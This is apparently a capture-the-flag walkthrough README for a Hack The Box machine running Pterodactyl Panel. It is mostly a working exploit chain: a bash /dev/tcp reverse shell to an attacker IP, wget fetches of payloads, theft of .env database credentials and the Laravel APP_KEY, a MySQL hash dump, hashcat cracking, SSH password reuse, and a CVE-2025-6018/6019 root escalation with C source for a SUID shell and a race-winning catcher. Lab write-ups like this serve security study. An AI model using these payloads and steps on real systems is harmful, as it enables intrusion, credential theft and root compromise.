Skip to content

PicasoTheDeal/commands

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

  1. Privilege Escalation — Phase 1: Enumeration as wwwrun Transferring LSE to Target Before enumerating, we needed a smart enumeration script. We used LSE (Linux Smart Enumeration) — a comprehensive privilege escalation checker.

On attacker machine — serve lse.sh via HTTP

python3 -m http.server 80

On target (wwwrun reverse shell in /tmp)

wget http://10.10.15.62/lse.sh chmod +x lse.sh ./lse.sh Why LSE? LSE automatically checks hundreds of privilege escalation vectors — sudo rules, SUID binaries, writable paths, cron jobs, capabilities, services, container escapes, and more. Running it as wwwrun gives us a fast overview of what this service account can see and do before we invest time in manual enumeration.

LSE: https://github.com/diego-treitos/linux-smart-enumeration

Key LSE Findings as wwwrun Check Result Significance usr000 Current user groups wwwrun:474, www:477 Service account — minimal privileges fst080 Can read /home subdirs yes Can browse headmonitor & phileasfogg3 home dirs net000 Services on localhost yes MySQL (3306) and Redis (6379) running internally ret000 User crontab yes wwwrun has a crontab entry fst000 Writable files outside home yes Worth investigating pro020 Processes running as root yes Root processes exist sys022 /etc/group hashes polkitd:!:478 Polkit is installed — prerequisite for our privesc chain sec000 SELinux nope No MAC enforcement sud000 Sudo without password nope Service account has no sudo Critical Observation — Polkit is Present The /etc/group output showed polkitd:!:478. The ! means the group password is locked (disabled) — not an exploitable hash. However it confirms Polkit daemon is installed and running on this openSUSE system, which is a required dependency for our planned CVE-2025-6018 + CVE-2025-6019 privilege escalation chain.

Reverse Shell (for interactive enumeration)

Attacker machine — open listener

nc -lnvp 4444

RCE via exploit (from attacker machine)

python3 ~/htb/CVE-2025-49132/exploit.py http://panel.pterodactyl.htb
--rce-cmd "bash -c 'bash -i >& /dev/tcp/10.10.15.62/4444 0>&1'"
--pear-dir /usr/share/php/PEAR Why a reverse shell instead of just RCE commands? The --rce-cmd output extraction in the exploit breaks when command output contains / characters (e.g. which python3 → /usr/bin/python3). A reverse shell bypasses this entirely and gives us a full interactive TTY as wwwrun.

  1. .env Discovery — Laravel DB Credentials Finding the Application Config find /var/www -name ".env" 2>/dev/null Output:

/var/www/pterodactyl/.env cat /var/www/pterodactyl/.env Why this works: wwwrun is the PHP-FPM process user that serves the Pterodactyl Panel application. Laravel applications store all sensitive configuration — database credentials, encryption keys, mail passwords — in a plaintext .env file in the application root. Since wwwrun runs the application, it has read access to this file by design.

Credentials Extracted from .env APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=panel DB_USERNAME=pterodactyl DB_PASSWORD=PteraPanel

REDIS_HOST=127.0.0.1 REDIS_PASSWORD=null REDIS_PORT=6379

APP_SERVICE_AUTHOR="pterodactyl@pterodactyl.htb" What Each Value Means Value Attack Use pterodactyl:PteraPanel MySQL login to dump user table APP_KEY Laravel deserialization RCE (CVE-2018-15133) — alternative path REDIS_PASSWORD=null Redis has no auth — unauthenticated access to session store 11. MySQL Enumeration — User Hash Dump Connecting to MySQL Interactively mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 Note: MariaDB 11.8.3 is installed. The mysql binary works but shows a deprecation warning — the correct binary is /usr/bin/mariadb. Both work identically.

Why -h 127.0.0.1 instead of just mysql? The default MySQL socket connection (localhost) sometimes fails for service accounts. Specifying the IP forces a TCP connection which always works.

Database Exploration -- List all databases show databases; +--------------------+ | Database | +--------------------+ | information_schema | | panel | | test | +--------------------+ -- Switch to Pterodactyl panel database use panel;

-- List all tables show tables; The panel database contains 35 tables. The most interesting ones for our purposes:

Table Why Interesting users OS-linked panel accounts with bcrypt passwords user_ssh_keys Could contain stored SSH private keys api_keys Panel API keys — potential for further access nodes Wings nodes configuration Dumping User Credentials select * from users; Full output revealed two accounts:

id username email password root_admin 2 headmonitor headmonitor@pterodactyl.htb $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 1 (admin) 3 phileasfogg3 phileasfogg3@pterodactyl.htb $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi 0 Checking SSH Keys Table select * from user_ssh_keys; Empty set (0.001 sec) No SSH keys stored in the panel. This means we cannot extract a ready-to-use private key — we must crack the password hashes.

Why These Hashes Matter Pterodactyl Panel is a game server management panel. System administrators frequently use the same password for both their panel account and their OS SSH login. The headmonitor account is the panel admin (root_admin=1), making it especially valuable to crack.

  1. Hash Cracking — Lateral Movement to phileasfogg3 Saving the Hashes On attacker machine:

cat > ~/htb/hashes.txt << 'EOF' $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi EOF Running Hashcat hashcat -m 3200 ~/htb/hashes.txt /usr/share/wordlists/rockyou.txt Why mode 3200? The $2y$10$ prefix identifies these as bcrypt hashes with cost factor 10. Hashcat's mode -m 3200 handles bcrypt ($2*$, Blowfish (Unix)). Bcrypt is intentionally slow — each candidate password requires 1024 Blowfish rounds, making GPU cracking much slower than MD5/SHA hashes.

Hardware context: RTX 5060 Laptop GPU achieves ~712 H/s on bcrypt. With 14.3M rockyou candidates the estimated time was ~5.5 hours total for both hashes.

Checking Potfile for Pre-cracked Hashes hashcat -m 3200 ~/htb/hashes.txt --show Why --show? Hashcat stores previously cracked hashes in ~/.hashcat/hashcat.potfile. The --show flag reads the potfile and displays any already-cracked passwords without running the full crack again — saving time when resuming a session.

Result Hash Username Password $2y$10$PwO0TB...C9Pi phileasfogg3 !QAZ2wsx ✓ cracked $2y$10$3WJht3...D2 headmonitor not cracked (not in rockyou) SSH Login ssh phileasfogg3@10.129.3.114

password: !QAZ2wsx

Password reuse confirmed — the Pterodactyl panel password is identical to the OS SSH password for phileasfogg3.

  1. SSH Access as phileasfogg3 — Sudo Analysis Running LSE as phileasfogg3 ./lse.sh

When prompted for password: !QAZ2wsx

Critical sudo Finding [!] sud030 Can we list sudo commands with a password?...................... yes!

Matching Defaults entries for phileasfogg3 on pterodactyl: always_set_home, env_reset, ..., targetpw

User phileasfogg3 may run the following commands on pterodactyl: (ALL) ALL Understanding the targetpw Restriction At first glance (ALL) ALL looks like instant root. However the targetpw option in the Defaults line changes sudo's authentication behavior:

Mode What sudo asks for Default (no targetpw) Your own password (phileasfogg3's) targetpw Target user's password (root's password) This is openSUSE's default sudoers model — designed to prevent privilege escalation via password reuse. Running sudo bash would ask for root's password, which we don't have. LSE confirmed this: sud020 Can we sudo with a password? → nope — even with !QAZ2wsx provided, it fails because sudo demands root's password.

Conclusion: Sudo path is blocked. We proceed with the kernel-level CVE chain.

Session Status Check echo $SSH_TTY && loginctl show-session $XDG_SESSION_ID | grep -E "Active|Type|Remote" Output:

/dev/pts/1 Remote=yes RemoteHost=10.10.15.62 Type=tty Active=yes The session already shows Active=yes in loginctl. However Polkit's allow_active check requires additionally that XDG_SEAT and XDG_VTNR be set (indicating a physical console seat). These are not set in a default SSH session — this is what CVE-2025-6018 addresses.

  1. CVE-2025-6018 — PAM/Polkit Session Bypass What is CVE-2025-6018? CVE-2025-6018 is a PAM configuration vulnerability affecting openSUSE Leap 15.6 (and SLES equivalents). On these systems, pam_env.so reads user-controlled environment variables from ~/.pam_environment during login. By placing XDG_SEAT=seat0 and XDG_VTNR=1 in this file, a remote SSH user can make their session appear to Polkit as an active local console session (a seat-0 physical terminal).

This matters because many Polkit rules grant elevated hardware management privileges only to allow_active sessions (console sessions) — not allow_inactive sessions (SSH sessions). By faking console session attributes, we unlock allow_active Polkit actions including org.freedesktop.UDisks2.filesystem-check which is required for CVE-2025-6019.

References:

https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC Applying the Bypass We used the PoC's --setup flag to automate this:

/tmp/exploit2.sh --setup Output:

[+] Created /home/phileasfogg3/.pam_environment Contents: XDG_SEAT=seat0 XDG_VTNR=1 Why must we re-login after setup? PAM reads ~/.pam_environment only at login time — when a new session is created. The current SSH session was established before the file existed, so the variables are not active yet. A fresh SSH login causes PAM to re-read the file and inject these variables into the new session's environment.

Re-login and Verify

Exit current session

exit

SSH back in fresh

ssh phileasfogg3@10.129.3.114

password: !QAZ2wsx

Verify bypass is active

/tmp/exploit2.sh --check Verification output:

[+] allow_active status: YES You have allow_active privileges! [*] Session ID: 393 Seat: seat0 Active: yes Type: tty [+] Session is properly configured for exploitation CVE-2025-6018 confirmed active. Polkit now treats this SSH session as a physical console session.

  1. CVE-2025-6019 — UDisks2 nosuid Race Condition → Root What is CVE-2025-6019? CVE-2025-6019 is a vulnerability in libblockdev — the library used by udisks2 to perform low-level block device operations. When udisks2's Filesystem.Check D-Bus method is called on a loop device, libblockdev temporarily mounts the filesystem to perform the check operation. Due to the bug, the nosuid mount flag is not applied during this temporary mount.

This means:

An unprivileged user with allow_active Polkit rights can call Filesystem.Check udisks2 mounts the specified image without nosuid Any SUID binaries inside the image are live and executable during the mount window If we race to execute the SUID binary before udisks2 unmounts it — we get root References:

https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC Building the Exploit on Attacker Machine cd ~/htb && git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC cd CVE-2025-6018-6019-PoC chmod +x build_poc.sh ./build_poc.sh The build_poc.sh script performs four steps automatically:

Step 1 — Compile a static SUID C wrapper (rootbash):

#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; } Compiled with -static to avoid glibc version mismatches between attacker and target.

Why not use /bin/bash directly? Bash v4.4+ drops SUID privileges if euid != uid when invoked without -p. Using a small C wrapper that calls setuid(0) before launching bash is more reliable and portable.

Step 2 — Create 400MB XFS image and inject the SUID shell:

dd if=/dev/zero of=exploit.img bs=1M count=400 mkfs.xfs -f exploit.img sudo mount exploit.img mnt_poc sudo cp rootbash mnt_poc/rootbash sudo chmod 4755 mnt_poc/rootbash # SUID bit set, owned by root sudo umount mnt_poc Why XFS specifically? CVE-2025-6019 was demonstrated specifically with XFS filesystems. udisks2 calls libblockdev's bd_fs_xfs_check() which triggers the vulnerable temporary mount without nosuid.

Why build on attacker machine? We need sudo mount and sudo chmod 4755 (root ownership + SUID) to plant the binary correctly. We don't have root on the target yet.

Step 3 — Compile the race-winning catcher binary:

int main() { while (1) { FILE *fp = fopen("/proc/mounts", "r"); if (fp) { char line[2048]; while (fgets(line, sizeof(line), fp)) { if (strstr(line, "/dev/loop") && !strstr(line, "/run/media")) { char *path = strtok(line, " "); // dev path = strtok(NULL, " "); // mountpoint char cmd[1024]; snprintf(cmd, sizeof(cmd), "%s/rootbash -p", path); system(cmd); exit(0); } } fclose(fp); } } } Why a compiled C binary for the race? The mount window created by Filesystem.Check is extremely brief — measured in milliseconds. A bash script reading /proc/mounts in a loop introduces too much overhead (fork/exec per iteration, interpreter startup). A compiled C binary polling /proc/mounts with tight loops wins the race far more reliably.

The catcher logic: It reads /proc/mounts continuously in a tight loop, looking for any /dev/loop device mounted outside /run/media (where normal user mounts land). The moment udisks2 mounts exploit.img for the check, catcher detects the mount point and immediately executes /rootbash -p — before udisks2 can unmount.

Transfer to Target The 400MB XFS image must be compressed for fast transfer (zeros compress extremely well):

Attacker machine

gzip -c exploit.img > exploit.img.gz python3 -m http.server 80

Target machine (/tmp)

wget http://10.10.15.62/exploit.img.gz wget http://10.10.15.62/catcher wget http://10.10.15.62/exploit.sh gunzip exploit.img.gz chmod +x catcher exploit.sh Compression result: 400MB → ~775KB (99.8% reduction). Transfer time: ~8 seconds vs ~3 hours uncompressed.

Running the Exploit cd /tmp && ./exploit.sh What exploit.sh does internally:

Verifies allow_active=YES via Polkit D-Bus check Starts ./catcher in the background (begins polling /proc/mounts) Calls udisksctl loop-setup -f exploit.img to attach the image as a loop device Calls org.freedesktop.UDisks2.Filesystem.Check on the loop device via D-Bus udisks2 invokes libblockdev's XFS check → mounts exploit.img without nosuid catcher detects the mount in /proc/mounts and executes rootbash -p setuid(0) runs → bash spawns as root Exploit Output [+] Session is Active. Polkit bypass enabled. [] Starting Background Trigger (Wait 2s)... [] Starting Foreground Catcher... [] HOLD TIGHT. ROOT SHELL INCOMING. [] Sniper started. Waiting for ANY loop mount... [] (BG) Setting up loop device... [] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop2...

[!!!] HIT! Mounted at: /tmp/blockdev.B9RTK3 pterodactyl:/tmp # whoami root Race condition won on first attempt.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors